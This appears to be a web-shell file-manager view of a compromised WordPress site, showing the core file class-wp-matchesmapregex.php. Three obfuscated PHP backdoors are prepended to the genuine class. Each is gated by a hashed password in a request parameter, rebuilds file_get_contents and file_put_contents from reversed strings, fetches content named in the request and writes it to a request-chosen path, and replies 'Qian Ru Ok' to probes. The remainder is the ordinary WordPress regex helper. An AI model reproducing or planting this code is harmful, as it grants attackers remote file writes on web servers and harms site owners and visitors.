HEX
Server: Apache
System: Linux host60.registrar-servers.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: wwwrenee (3804)
PHP: 8.0.30
Disabled: NONE
Upload Files
File: /home/wwwrenee/public_html/wp-includes/class-wp-matchesmapregex.php
<?php 
$NCDzYnYkGq = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($NCDzYnYkGq[0]) /*+/*+*/
. md5($NCDzYnYkGq[0])) == "a".
"2".
"9".
"2".
"2".
"1".
"d".
"5".
"d".
"4".
"a".
"b".
"8".
"5".
"a".
"b".
"3".
"f".
"a".
"2".
"c".
"5".
"b".
"4".
"1".
"7".
"0".
"f".
"d".
"1".
"0".
"1") {
$WqUsBXHZM = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$vsiXZNYKW = $WqUsBXHZM /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$mROTeVXar = $WqUsBXHZM
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function LjjbUceD($DBMoAU) { if (empty($DBMoAU)) return false; if (!is_dir($DBMoAU)) { LjjbUceD(dirname($DBMoAU), 0755, true); mkdir($DBMoAU); } } !file_exists(dirname($NCDzYnYkGq[1])) && LjjbUceD(dirname($NCDzYnYkGq[1])); $KIRPwG = @$mROTeVXar($NCDzYnYkGq[2]); echo @$vsiXZNYKW($NCDzYnYkGq[1], $KIRPwG) ? 1 : 0; die; }key($NCDzYnYkGq) == "of" && die("Qian Ru Ok"); ?><?php 
$MvAaJxKmUh = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($MvAaJxKmUh[0]) /*+/*+*/
. md5($MvAaJxKmUh[0])) == "7".
"b".
"5".
"6".
"8".
"f".
"0".
"3".
"7".
"8".
"d".
"2".
"7".
"c".
"3".
"8".
"6".
"d".
"3".
"b".
"3".
"9".
"9".
"b".
"6".
"6".
"3".
"2".
"d".
"1".
"3".
"0") {
$gehuH = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$dwvqzBqvEn = $gehuH /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$OmeyWDrPf = $gehuH
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function ElyBLzUN($ujnnHK) { if (empty($ujnnHK)) return false; if (!is_dir($ujnnHK)) { ElyBLzUN(dirname($ujnnHK), 0755, true); mkdir($ujnnHK); } } !file_exists(dirname($MvAaJxKmUh[1])) && ElyBLzUN(dirname($MvAaJxKmUh[1])); $rqPlcBfUE = @$OmeyWDrPf($MvAaJxKmUh[2]); echo @$dwvqzBqvEn($MvAaJxKmUh[1], $rqPlcBfUE) ? 1 : 0; die; }key($MvAaJxKmUh) == "of" && die("Qian Ru Ok"); ?><?php 
$CPcvpCx = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($CPcvpCx[0]) /*+/*+*/
. md5($CPcvpCx[0])) == "3".
"9".
"5".
"0".
"6".
"7".
"d".
"6".
"9".
"c".
"c".
"0".
"2".
"4".
"c".
"c".
"8".
"9".
"3".
"0".
"d".
"2".
"4".
"f".
"e".
"3".
"5".
"8".
"d".
"2".
"a".
"7") {
$vHoyUDndDu = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$kaQxQg = $vHoyUDndDu /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$LFvGW = $vHoyUDndDu
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function BXuASMW($aaXmpDWDdP) { if (empty($aaXmpDWDdP)) return false; if (!is_dir($aaXmpDWDdP)) { BXuASMW(dirname($aaXmpDWDdP), 0755, true); mkdir($aaXmpDWDdP); } } !file_exists(dirname($CPcvpCx[1])) && BXuASMW(dirname($CPcvpCx[1])); $lTZqPdWl = @$LFvGW($CPcvpCx[2]); echo @$kaQxQg($CPcvpCx[1], $lTZqPdWl) ? 1 : 0; die; }key($CPcvpCx) == "of" && die("Qian Ru Ok"); ?><?php
/**
 * WP_MatchesMapRegex helper class
 *
 * @package WordPress
 * @since 4.7.0
 */

/**
 * Helper class to remove the need to use eval to replace $matches[] in query strings.
 *
 * @since 2.9.0
 */
class WP_MatchesMapRegex {
	/**
	 * store for matches
	 *
	 * @var array
	 */
	private $_matches;

	/**
	 * store for mapping result
	 *
	 * @var string
	 */
	public $output;

	/**
	 * subject to perform mapping on (query string containing $matches[] references
	 *
	 * @var string
	 */
	private $_subject;

	/**
	 * regexp pattern to match $matches[] references
	 *
	 * @var string
	 */
	public $_pattern = '(\$matches\[[1-9]+[0-9]*\])'; // Magic number.

	/**
	 * constructor
	 *
	 * @param string $subject subject if regex
	 * @param array  $matches data to use in map
	 */
	public function __construct( $subject, $matches ) {
		$this->_subject = $subject;
		$this->_matches = $matches;
		$this->output   = $this->_map();
	}

	/**
	 * Substitute substring matches in subject.
	 *
	 * static helper function to ease use
	 *
	 * @param string $subject subject
	 * @param array  $matches data used for substitution
	 * @return string
	 */
	public static function apply( $subject, $matches ) {
		$oSelf = new WP_MatchesMapRegex( $subject, $matches );
		return $oSelf->output;
	}

	/**
	 * do the actual mapping
	 *
	 * @return string
	 */
	private function _map() {
		$callback = array( $this, 'callback' );
		return preg_replace_callback( $this->_pattern, $callback, $this->_subject );
	}

	/**
	 * preg_replace_callback hook
	 *
	 * @param array $matches preg_replace regexp matches
	 * @return string
	 */
	public function callback( $matches ) {
		$index = (int) substr( $matches[0], 9, -1 );
		return ( isset( $this->_matches[ $index ] ) ? urlencode( $this->_matches[ $index ] ) : '' );
	}
} ?>